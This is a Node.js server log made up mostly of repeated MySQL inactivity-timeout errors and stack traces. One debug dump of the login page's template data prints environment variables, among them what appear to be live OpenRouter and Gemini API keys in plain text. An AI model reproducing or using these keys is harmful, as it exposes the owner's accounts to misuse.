  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-21 11:19:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-21 13:09:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-21 13:09:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-21 13:39:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-21 13:39:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-21 14:01:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-21 14:01:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-21 15:41:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-21 15:41:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-21 15:47:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-21 15:47:34' as DATETIME)"
}
Error: connect ECONNREFUSED 65.21.215.19:3306
    at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {
  errno: -111,
  code: 'ECONNREFUSED',
  syscall: 'connect',
  address: '65.21.215.19',
  port: 3306,
  fatal: true
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-21 21:09:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-21 21:09:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-21 22:12:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-21 22:12:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-21 23:33:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-21 23:33:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-22 03:39:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-22 03:39:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-22 06:25:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-22 06:25:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-22 07:35:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-22 07:35:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-22 08:31:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-22 08:31:38' as DATETIME)"
}
2026-03-22T12:26:45.766Z server-connect:router Serving templateView /
2026-03-22T12:26:45.768Z server-connect:app Executing action step identify
2026-03-22T12:26:45.768Z server-connect:app options: { provider: 'security' }
2026-03-22T12:26:45.768Z server-connect:auth No login cookie found
2026-03-22T12:26:45.768Z server-connect:output identity: false
2026-03-22T12:26:45.768Z server-connect:app Executing action step restrict
2026-03-22T12:26:45.768Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-22T12:26:45.769Z server-connect:output restrict: undefined
2026-03-22T12:26:45.882Z server-connect:router Serving templateView /login
2026-03-22T12:26:45.882Z server-connect:app Executing action step identify
2026-03-22T12:26:45.882Z server-connect:app options: { provider: 'security' }
2026-03-22T12:26:45.882Z server-connect:auth No login cookie found
2026-03-22T12:26:45.882Z server-connect:output identity: false
2026-03-22T12:26:45.882Z server-connect:router Render template layouts/authentication
2026-03-22T12:26:45.882Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '100.50.235.109',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-23T12:26:45.881Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '100.50.235.109',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '100.50.235.109',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-22 17:27:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-22 17:27:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-22 18:56:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-22 18:56:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-22 21:28:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-22 21:28:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-23 02:05:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-23 02:05:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-23 02:14:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
